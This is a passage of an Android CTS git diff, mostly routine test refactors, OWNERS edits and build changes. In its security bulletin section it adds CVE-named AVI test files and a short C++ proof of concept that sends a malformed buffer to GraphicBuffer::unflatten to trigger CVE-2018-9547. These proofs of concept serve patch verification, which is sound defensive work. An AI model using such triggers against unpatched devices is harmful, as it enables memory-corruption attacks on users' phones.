com.android.compatibility.common.util.SystemUtil.runShellCommand; import static com.google.common.truth.Truth.assertThat; +import static com.google.common.truth.Truth.assertWithMessage; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertFalse; @@ -447,6 +448,7 @@ public class MediaStorageTest { assertAccessFileAPISupport(file); assertReadWriteFileAPISupport(file); assertRenameFileAPISupport(file); + assertRenameAndReplaceFileAPISupport(file, create); assertDeleteFileAPISupport(file); } @@ -471,15 +473,52 @@ public class MediaStorageTest { public void assertRenameFileAPISupport(File oldFile) throws Exception { final String oldName = oldFile.getAbsolutePath(); final String extension = oldName.substring(oldName.lastIndexOf('.')).trim(); - // TODO(b/178816495): Changing the extension changes the media-type and hence the media-URI - // corresponding to the new file is not accessible to the caller. Rename to the same - // extension so that the test app does not lose access and is able to delete the file. - final String newName = "cts" + System.nanoTime() + extension; - final File newFile = Environment.buildPath(Environment.getExternalStorageDirectory(), - Environment.DIRECTORY_DOWNLOADS, newName); - assertThat(oldFile.renameTo(newFile)).isTrue(); + // Rename to same extension so test app does not lose access to file. + final String newRelativeName = "cts" + System.nanoTime() + extension; + final File newFile = Environment.buildPath( + Environment.getExternalStorageDirectory(), + Environment.DIRECTORY_DOWNLOADS, + newRelativeName); + final String newName = newFile.getAbsolutePath(); + assertWithMessage("Rename from oldName [%s] to newName [%s]", oldName, newName) + .that(oldFile.renameTo(newFile)) + .isTrue(); + // Rename back to oldFile for other ops like delete + assertWithMessage("Rename back from newName [%s] to oldName [%s]", newName, oldName) + .that(newFile.renameTo(oldFile)) + .isTrue(); + } + + public void assertRenameAndReplaceFileAPISupport(File oldFile, Callable<Uri> create) + throws Exception { + final String oldName = oldFile.getAbsolutePath(); + + // Create new file to which we have access via grant URI + final Uri newUri = create.call(); + assertWithMessage("Check newFile created").that(newUri).isNotNull(); + clearMediaOwner(newUri, mUserId); + File newFile = new File(queryForSingleColumn(newUri, MediaColumns.DATA)); + final String newName = newFile.getAbsolutePath(); + + assertWithMessage( + "Rename should fail without newFile grant from oldName [%s] to newName [%s]", + oldName, newName) + .that(oldFile.renameTo(newFile)) + .isFalse(); + + // Grant access to newFile and rename should succeed. + doEscalation(MediaStore.createWriteRequest(mContentResolver, Arrays.asList(newUri))); + assertWithMessage("Rename from oldName [%s] to newName [%s]", oldName, newName) + .that(oldFile.renameTo(newFile)) + .isTrue(); + + // We need to request grant on newUri again, since the rename above caused the URI grant + // to be revoked. + doEscalation(MediaStore.createWriteRequest(mContentResolver, Arrays.asList(newUri))); // Rename back to oldFile for other ops like delete - assertThat(newFile.renameTo(oldFile)).isTrue(); + assertWithMessage("Rename back from newName [%s] to oldName [%s]", newName, oldName) + .that(newFile.renameTo(oldFile)) + .isTrue(); } private void assertDeleteFileAPISupport(File file) throws Exception { diff --git a/hostsidetests/devicepolicy/Android.bp b/hostsidetests/devicepolicy/Android.bp index d932dd8132f..343289894fa 100644 --- a/hostsidetests/devicepolicy/Android.bp +++ b/hostsidetests/devicepolicy/Android.bp @@ -34,6 +34,9 @@ java_test_host { "general-tests", "mts", ], + static_libs: [ + "cts-statsd-atom-host-test-utils", + ], java_resource_dirs: ["res"], data: [":current-api-xml"], } diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml index e691e2035a9..fcc7d5d0ca7 100644 --- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml +++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml @@ -96,6 +96,7 @@ <activity android:name="com.android.cts.deviceandprofileowner.LockTaskUtilityActivity"/> <activity android:name="com.android.cts.deviceandprofileowner.LockTaskUtilityActivityIfAllowed" android:launchMode="singleInstance" + android:directBootAware="true" android:lockTaskMode="if_whitelisted" android:exported="true"> <intent-filter> diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java index 6fa0bcb99ee..4cf186dc5ab 100644 --- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java +++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AudioRestrictionTest.java @@ -16,13 +16,14 @@ package com.android.cts.deviceandprofileowner; +import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity; + import android.content.Context; import android.content.pm.PackageManager; import android.content.res.Resources; import android.media.AudioManager; import android.media.MediaPlayer; import android.net.Uri; -import android.provider.Settings; import android.os.SystemClock; import android.os.UserManager; import android.util.Log; @@ -51,7 +52,8 @@ public class AudioRestrictionTest extends BaseDeviceAdminTest { mPackageManager = mContext.getPackageManager(); mUseFixedVolume = mContext.getResources().getBoolean( Resources.getSystem().getIdentifier("config_useFixedVolume", "bool", "android")); - mUseFullVolume = isFullVolumeDevice(); + mUseFullVolume = runWithShellPermissionIdentity(() -> mAudioManager.isFullVolumeDevice(), + android.Manifest.permission.QUERY_AUDIO_STATE); } // Here we test that DISALLOW_ADJUST_VOLUME disallows to unmute volume. @@ -190,17 +192,4 @@ public class AudioRestrictionTest extends BaseDeviceAdminTest { Thread.sleep(200); } } - - private boolean isFullVolumeDevice() { - String commandOutput = runShellCommand("dumpsys audio"); - - for (String line : commandOutput.split("\\r?\\n")) { - if (Pattern.matches("\\s*mHdmiCecSink=true", line) - || (Pattern.matches("\\s*mHdmiPlayBackClient=", line) - && !Pattern.matches("=null$", line))) { - return true; - } - } - return false; - } } diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java index 61f3e21c0a0..119d70244eb 100644 --- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java +++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java @@ -396,12 +396,18 @@ public class PermissionsTest extends BaseDeviceAdminTest { } public void testPermissionPolicyAutoGrant_multiplePermissionsInGroup() throws Exception { - setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT); + int permissionPolicy = mDevicePolicyManager.getPermissionPolicy(ADMIN_RECEIVER_COMPONENT); + try { + setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT); - // Both permissions should be granted - assertPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT); - assertCanRequestPermissionFromActivity(READ_CONTACTS); - assertCanRequestPermissionFromActivity(WRITE_CONTACTS); + // Both permissions should be granted + assertPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT); + assertCanRequestPermissionFromActivity(READ_CONTACTS); + assertCanRequestPermissionFromActivity(WRITE_CONTACTS); + } finally { + // Restore original state + setPermissionPolicy(permissionPolicy); + } } public void testCannotRequestPermission() throws Exception { diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java index de7f94e2d26..0e590c47cc4 100644 --- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java +++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java @@ -47,7 +47,6 @@ import org.junit.runner.RunWith; import java.util.List; // TODO(b/184280023): remove @RequiresDevice and @Ignores. -@RequiresDevice @RunWith(AndroidJUnit4.class) public class SecondaryLockscreenTest { @@ -139,6 +138,7 @@ public class SecondaryLockscreenTest { verifySecondaryLockscreenIsShown(); } + @RequiresDevice @Test(expected = SecurityException.class) public void testSetSecondaryLockscreen_ineligibleAdmin_throwsSecurityException() { final ComponentName badAdmin = new ComponentName("com.foo.bar", ".NonProfileOwnerReceiver"); diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java index 922745df545..a6dcb8d5b50 100644 --- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java +++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java @@ -99,7 +99,6 @@ public final class DevicePolicySafetyCheckerIntegrationTest extends BaseDeviceOw OPERATION_SET_APPLICATION_HIDDEN, OPERATION_SET_APPLICATION_RESTRICTIONS, OPERATION_SET_CAMERA_DISABLED, - OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY, OPERATION_SET_GLOBAL_PRIVATE_DNS, OPERATION_SET_KEEP_UNINSTALLED_PACKAGES, OPERATION_SET_KEYGUARD_DISABLED, @@ -125,6 +124,10 @@ public final class DevicePolicySafetyCheckerIntegrationTest extends BaseDeviceOw operations = ArrayUtils.appendInt(operations, OPERATION_SET_TRUST_AGENT_CONFIGURATION); } + if (mDevicePolicyManager.isFactoryResetProtectionPolicySupported()) { + operations = ArrayUtils.appendInt(operations, + OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY); + } return operations; } diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java index f69cbaaf04e..fa044aded41 100644 --- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java +++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java @@ -185,7 +185,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest { private static final int PERMISSION_GRANT_STATE_GRANTED = 1; private static final int PERMISSION_GRANT_STATE_DENIED = 2; private static final String PARAM_APP_TO_ENABLE = "app_to_enable"; - public static final String RESOLVE_ACTIVITY_CMD = "cmd package resolve-activity --brief %s | tail -n 1"; + public static final String RESOLVE_ACTIVITY_CMD = "cmd package resolve-activity --brief --user %d %s | tail -n 1"; private static final String NOT_CALLED_FROM_PARENT = "notCalledFromParent"; @@ -1723,7 +1723,7 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest { final List<String> enabledSystemPackageNames = getEnabledSystemPackageNames(); for (String enabledSystemPackage : enabledSystemPackageNames) { final String result = getDevice().executeShellCommand( - String.format(RESOLVE_ACTIVITY_CMD, enabledSystemPackage)); + String.format(RESOLVE_ACTIVITY_CMD, mUserId, enabledSystemPackage)); if (!result.contains("No activity found")) { return enabledSystemPackage; } diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java index 27897398a2a..d157fc0bed6 100644 --- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java +++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java @@ -167,6 +167,7 @@ public class QuietModeHostsideTest extends BaseDevicePolicyTest { private void clearLogcat() throws DeviceNotAvailableException { getDevice().executeAdbCommand("logcat", "-c"); + getDevice().executeAdbCommand("logcat", "-G", "16M"); } private void verifyBroadcastSent(String actionName, boolean needPermissions) diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp index 7700140d829..dcafa40f729 100644 --- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp +++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp @@ -24,4 +24,7 @@ java_library_host { libs: [ "tradefed", ], + static_libs: [ + "cts-statsd-atom-host-test-utils", + ], } diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java index 5ab3ddb04c1..68e4934a268 100644 --- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java +++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java @@ -15,7 +15,7 @@ */ package com.android.cts.devicepolicy.metrics; -import static junit.framework.Assert.assertTrue; +import android.cts.statsdatom.lib.ReportUtils; import com.android.internal.os.StatsdConfigProto.AtomMatcher; import com.android.internal.os.StatsdConfigProto.EventMetric; @@ -23,24 +23,22 @@ import com.android.internal.os.StatsdConfigProto.FieldValueMatcher; import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher; import com.android.internal.os.StatsdConfigProto.StatsdConfig; import com.android.os.AtomsProto.Atom; -import com.android.os.StatsLog.ConfigMetricsReport; import com.android.os.StatsLog.ConfigMetricsReportList; import com.android.os.StatsLog.EventMetricData; -import com.android.os.StatsLog.StatsLogReport; import com.android.tradefed.device.CollectingByteOutputReceiver; import com.android.tradefed.device.DeviceNotAvailableException; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.log.LogUtil.CLog; + import com.google.common.io.Files; import com.google.protobuf.InvalidProtocolBufferException; import com.google.protobuf.MessageLite; import com.google.protobuf.Parser; + import java.io.File; import java.util.ArrayList; -import java.util.Comparator; import java.util.List; import java.util.function.Predicate; -import java.util.stream.Collectors; /** * Tests Statsd atoms. @@ -103,26 +101,7 @@ class AtomMetricTester { */ List<EventMetricData> getEventMetricDataList() throws Exception { ConfigMetricsReportList reportList = getReportList(); - return getEventMetricDataList(reportList); - } - - /** - * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must - * contain a single report). - */ - private List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList) - throws Exception { - assertTrue("Expected one report", reportList.getReportsCount() == 1); - final ConfigMetricsReport report = reportList.getReports(0); - final List<StatsLogReport> metricsList = report.getMetricsList(); - return metricsList.stream() - .flatMap(statsLogReport -> statsLogReport.getEventMetrics().getDataList().stream()) - .sorted(Comparator.comparing(EventMetricData::getElapsedTimestampNanos)) - .peek(eventMetricData -> { - CLog.d("Atom at " + eventMetricData.getElapsedTimestampNanos() - + ":\n" + eventMetricData.getAtom().toString()); - }) - .collect(Collectors.toList()); + return ReportUtils.getEventMetricDataList(reportList); } /** Gets the statsd report. Note that this also deletes that report from statsd. */ diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java index 1f46b56fa6b..d6da4c36525 100644 --- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java +++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java @@ -65,7 +65,9 @@ public final class HdmiCecStartupTest extends BaseHdmiCecCtsTest { Arrays.asList(CecOperand.VENDOR_COMMAND, CecOperand.GIVE_DEVICE_VENDOR_ID, CecOperand.SET_OSD_NAME, CecOperand.GIVE_OSD_NAME, CecOperand.CEC_VERSION, CecOperand.DEVICE_VENDOR_ID, CecOperand.GIVE_POWER_STATUS, - CecOperand.GET_MENU_LANGUAGE)); + CecOperand.GET_MENU_LANGUAGE, CecOperand.ACTIVE_SOURCE, + CecOperand.REQUEST_ACTIVE_SOURCE, CecOperand.GIVE_PHYSICAL_ADDRESS, + CecOperand.GIVE_SYSTEM_AUDIO_MODE_STATUS)); allowedMessages.addAll(expectedMessages); device.executeShellCommand("reboot"); diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java index c5f5b36e077..561b57578c0 100644 --- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java +++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java @@ -99,9 +99,6 @@ public final class HdmiCecDeviceOsdNameTest extends BaseHdmiCecCtsTest { */ @Test public void cect_11_2_11_2_UnregisteredDeviceGiveOsdNameTest() throws Exception { - hdmiCecClient.sendCecMessage(LogicalAddress.PLAYBACK_1, CecOperand.GIVE_OSD_NAME); - hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.PLAYBACK_1, - CecOperand.SET_OSD_NAME); hdmiCecClient.sendCecMessage(LogicalAddress.BROADCAST, CecOperand.GIVE_OSD_NAME); hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.BROADCAST, CecOperand.SET_OSD_NAME); diff --git a/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java index ebb4191676f..3ff1bfeca2d 100644 --- a/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java +++ b/hostsidetests/incident/src/com/android/server/cts/UsbIncidentTest.java @@ -31,6 +31,7 @@ import android.service.usb.UsbSettingsDevicePreferenceProto; import android.service.usb.UsbSettingsManagerProto; import com.android.tradefed.device.DeviceNotAvailableException; import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.log.LogUtil.CLog; /** * Tests for the UsbService proto dump. @@ -51,7 +52,10 @@ public class UsbIncidentTest extends ProtoDumpTestCase { public void testUsbServiceDump() throws Exception { // Devices that don't support USB functionality won't dump a USB service proto. - assumeTrue("Device doesn't support USB functionality.", hasUsbFunctionality(getDevice())); + if (!hasUsbFunctionality(getDevice())) { + CLog.i("Device doesn't support USB functionality."); + return; + } final UsbServiceDumpProto dump = getDump(UsbServiceDumpProto.parser(), "dumpsys usb --proto"); diff --git a/hostsidetests/media/OWNERS b/hostsidetests/media/OWNERS index 8a0e441590b..e72446f5035 100644 --- a/hostsidetests/media/OWNERS +++ b/hostsidetests/media/OWNERS @@ -1,13 +1,11 @@ # Bug component: 1344 elaurent@google.com lajos@google.com -marcone@google.com sungsoo@google.com jaewan@google.com -# LON -olly@google.com -andrewlewis@google.com +# go/android-fwk-media-solutions for info on areas of ownership. +include platform/frameworks/av:/media/janitors/media_solutions_OWNERS # Media TV nchalko@google.com diff --git a/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java index 7dc17f49954..c0240dd7d4a 100644 --- a/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java +++ b/hostsidetests/media/src/android/media/cts/MediaExtractorHostSideTest.java @@ -17,6 +17,7 @@ package android.media.cts; import static com.google.common.truth.Truth.assertThat; +import android.cts.statsdatom.lib.ReportUtils; import android.stats.mediametrics_message.MediametricsMessage; import com.android.internal.os.StatsdConfigProto; @@ -162,12 +163,7 @@ public class MediaExtractorHostSideTest extends BaseMediaHostSideTest { private MediametricsMessage.ExtractorData getMediaExtractorReportedData() throws Exception { ConfigMetricsReportList reportList = getAndClearReportList(); assertThat(reportList.getReportsCount()).isEqualTo(1); - StatsLog.ConfigMetricsReport report = reportList.getReports(0); - ArrayList<StatsLog.EventMetricData> data = new ArrayList<>(); - report.getMetricsList() - .forEach( - statsLogReport -> - data.addAll(statsLogReport.getEventMetrics().getDataList())); + List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(reportList); List<AtomsProto.MediametricsExtractorReported> mediametricsExtractorReported = data.stream() .map(element -> element.getAtom().getMediametricsExtractorReported()) diff --git a/hostsidetests/mediaparser/Android.bp b/hostsidetests/mediaparser/Android.bp index 216b1c44864..98e8f8fafb7 100644 --- a/hostsidetests/mediaparser/Android.bp +++ b/hostsidetests/mediaparser/Android.bp @@ -36,6 +36,7 @@ java_test_host { ], static_libs: [ "cts-host-utils", + "cts-statsd-atom-host-test-utils", ], data: [ ":CtsMediaParserTestCasesApp", diff --git a/hostsidetests/mediaparser/OWNERS b/hostsidetests/mediaparser/OWNERS index 51256bfc6a7..b91d177f4ac 100644 --- a/hostsidetests/mediaparser/OWNERS +++ b/hostsidetests/mediaparser/OWNERS @@ -1,5 +1,3 @@ # Bug component: 817235 -aquilescanta@google.com -andrewlewis@google.com -essick@google.com -marcone@google.com +# go/android-fwk-media-solutions for info on areas of ownership. +include platform/frameworks/av:/media/janitors/media_solutions_OWNERS diff --git a/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java index 1e5c8569566..50bfa849556 100644 --- a/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java +++ b/hostsidetests/mediaparser/src/android/media/mediaparser/cts/MediaParserHostSideTest.java @@ -18,6 +18,8 @@ package android.media.mediaparser.cts; import static com.google.common.truth.Truth.assertThat; +import android.cts.statsdatom.lib.ReportUtils; + import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper; import com.android.ddmlib.testrunner.RemoteAndroidTestRunner; import com.android.internal.os.StatsdConfigProto; @@ -272,16 +274,8 @@ public class MediaParserHostSideTest extends DeviceTestCase implements IBuildRec private List<MediametricsMediaParserReported> getMediaParserReportedEvents() throws Exception { ConfigMetricsReportList reportList = getAndClearReportList(); assertThat(reportList.getReportsCount()).isEqualTo(1); - StatsLog.ConfigMetricsReport report = reportList.getReports(0); - ArrayList<EventMetricData> data = new ArrayList<>(); - report.getMetricsList() - .forEach( - statsLogReport -> - data.addAll(statsLogReport.getEventMetrics().getDataList())); - // We sort the reported events by the elapsed timestamp so as to ensure they are returned - // in the same order as they were generated by the CTS tests. + List<EventMetricData> data = ReportUtils.getEventMetricDataList(reportList); return data.stream() - .sorted(Comparator.comparing(EventMetricData::getElapsedTimestampNanos)) .map(event -> event.getAtom().getMediametricsMediaparserReported()) .collect(Collectors.toList()); } diff --git a/hostsidetests/packagemanager/stats/.gitignore b/hostsidetests/packagemanager/stats/.gitignore new file mode 120000 index 00000000000..b28cd146165 --- /dev/null +++ b/hostsidetests/packagemanager/stats/.gitignore @@ -0,0 +1 @@ +../../../../tools/asuite/aidegen/data/gitignore_template
\ No newline at end of file diff --git a/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java b/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java index 0fb546f5fe5..5f010fdaee3 100644 --- a/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java +++ b/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/InstalledIncrementalPackageStatsTests.java @@ -48,6 +48,10 @@ public class InstalledIncrementalPackageStatsTests extends PackageManagerStatsTe if (!DeviceUtils.hasFeature(getDevice(), FEATURE_INCREMENTAL_DELIVERY)) { return; } + // TODO(b/197784344): remove when the metrics supports multi-user + if (getDevice().isUserSecondary(getDevice().getCurrentUser())) { + return; + } ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG, AtomsProto.Atom.INSTALLED_INCREMENTAL_PACKAGE_FIELD_NUMBER); installPackageUsingIncremental(new String[]{TEST_INSTALL_APK}); diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java index 3c7da375c09..292b85ee31e 100644 --- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java +++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java @@ -58,6 +58,7 @@ import com.android.cts.install.lib.TestApp; import org.junit.AfterClass; import org.junit.BeforeClass; +import org.junit.Ignore; import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.Parameterized; @@ -275,6 +276,7 @@ public class RedactUriDeviceTest extends ScopedStorageBaseDeviceTest { * redacted mode. **/ @Test + @Ignore("Enable when b/194700183 is fixed") public void testSharedRedactedUri_openFileForRead() throws Exception { forceStopApp(APP_B_NO_PERMS.getPackageName()); final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME); diff --git a/hostsidetests/securitybulletin/OWNERS b/hostsidetests/securitybulletin/OWNERS index 28ce2a54e3b..5e566ca2fee 100644 --- a/hostsidetests/securitybulletin/OWNERS +++ b/hostsidetests/securitybulletin/OWNERS @@ -1,5 +1,5 @@ # Bug component: 36824 -mspector@google.com -manjaepark@google.com +musashi@google.com cdombroski@google.com lgallegos@google.com +hubers@google.com diff --git a/hostsidetests/securitybulletin/res/cve_2021_0636_1.avi b/hostsidetests/securitybulletin/res/cve_2021_0636_1.avi Binary files differnew file mode 100644 index 00000000000..18edf22f8e1 --- /dev/null +++ b/hostsidetests/securitybulletin/res/cve_2021_0636_1.avi diff --git a/hostsidetests/securitybulletin/res/cve_2021_0636_2.avi b/hostsidetests/securitybulletin/res/cve_2021_0636_2.avi Binary files differnew file mode 100644 index 00000000000..12c77ef4c47 --- /dev/null +++ b/hostsidetests/securitybulletin/res/cve_2021_0636_2.avi diff --git a/hostsidetests/securitybulletin/res/cve_2021_0636_3.avi b/hostsidetests/securitybulletin/res/cve_2021_0636_3.avi Binary files differnew file mode 100644 index 00000000000..bc685eb0ab8 --- /dev/null +++ b/hostsidetests/securitybulletin/res/cve_2021_0636_3.avi diff --git a/hostsidetests/securitybulletin/res/cve_2021_0636_4.avi b/hostsidetests/securitybulletin/res/cve_2021_0636_4.avi Binary files differnew file mode 100644 index 00000000000..94916071321 --- /dev/null +++ b/hostsidetests/securitybulletin/res/cve_2021_0636_4.avi diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/Android.bp new file mode 100644 index 00000000000..1ca3f7e2a1c --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/Android.bp @@ -0,0 +1,31 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +cc_test { + name: "CVE-2018-9547", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + ":cts_hostsidetests_securitybulletin_memutils", + ], + shared_libs: [ + "libui", + ], + cflags: [ + "-DCHECK_OVERFLOW", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/poc.cpp new file mode 100644 index 00000000000..7ec82f37f0b --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9547/poc.cpp @@ -0,0 +1,36 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include <ui/GraphicBuffer.h> +#include "../includes/memutils.h" + +int main() { + size_t size = sizeof(int) * 6; + int *tempBuffer = (int *)malloc(size); + if (!tempBuffer) { + return EXIT_FAILURE; + } + memset(tempBuffer, 0x0, size); + tempBuffer[0] = 'GB01'; + void const *buffer = const_cast<void const *>((void *)tempBuffer); + int const fds[] = {0, 0}; + size_t count = sizeof(fds) / sizeof(int); + int const *fd = const_cast<int const *>(fds); + android::GraphicBuffer *graphicBuffer = new android::GraphicBuffer(); + graphicBuffer->unflatten(buffer, size, fd, count); + free(tempBuffer); + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/Android.bp new file mode 100644 index 00000000000..4af3fe41755 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9564/Android.bp @@ -0,0 +1,37 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +cc_test { + name: "CVE-2018-9564", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + ":cts_hostsidetests_securitybulletin_memutils", + ], + cflags: [ + "-DCHECK_OVERFLOW", + ], + compile_multilib: "64", + include_dirs: [ + "system/nfc/src/nfc/include/", + "system/nfc/src/include/", + "system/nfc/src/gki/ulinux/", + ], + 